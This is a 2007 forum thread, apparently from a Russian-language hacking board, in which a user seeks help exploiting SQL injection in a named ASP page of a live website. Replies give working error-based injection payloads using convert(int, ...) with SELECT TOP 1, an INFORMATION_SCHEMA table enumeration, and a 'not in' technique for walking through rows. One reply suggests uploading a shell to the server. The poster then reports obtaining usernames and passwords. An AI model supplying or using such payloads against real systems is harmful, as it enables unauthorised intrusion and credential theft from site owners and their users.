help !! sql+asp

Discussion in 'Песочница' started by Patriot_Sa, 16 Nov 2007.

  1. Patriot_Sa

    Patriot_Sa New Member

    Joined:
    2 Nov 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    hey../

    Ask our inquiry last sql asp

    Show me this talk Look

    Microsoft OLE DB Provider for ODBC Drivers error '80004005'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Subquery returned more than 1 value. This is not permitted when the subquery follows =, !=, <, <= , >, >= or when the subquery is used as an expression.

    /AR/Main/Calendar_CheckMonth.asp, line 130


    It is user:
    convert(int,+(select+UserName+from+Users));--

    What can I do? :confused: :confused: :confused:
     
  2. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    437
    Reputations:
    90
    convert(int+(select+UserName+from+pass));--

    there are tables (User etc or try namr db UserName etc) what chek
    Try to throw Shell on a server, if I have correctly understood you.
     
    1 person likes this.
  3. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Я по аглицки писать не умею, но попробую

    Use "TOP 1" in your Select query
    Example:
    id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)

    try:
    convert(int,+(select+TOP 1+UserName+from+Users));--

    Then, using a construction: "where..not in "
     
    #3 Scipio, 16 Nov 2007
    Last edited: 16 Nov 2007
  4. Patriot_Sa

    Patriot_Sa New Member

    Joined:
    2 Nov 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    thanx Sn@k3 ,Scipio

    It is user:
    convert(int,+(select+TOP 1+UserName+from+Users));--

    Noon me user and password ^_^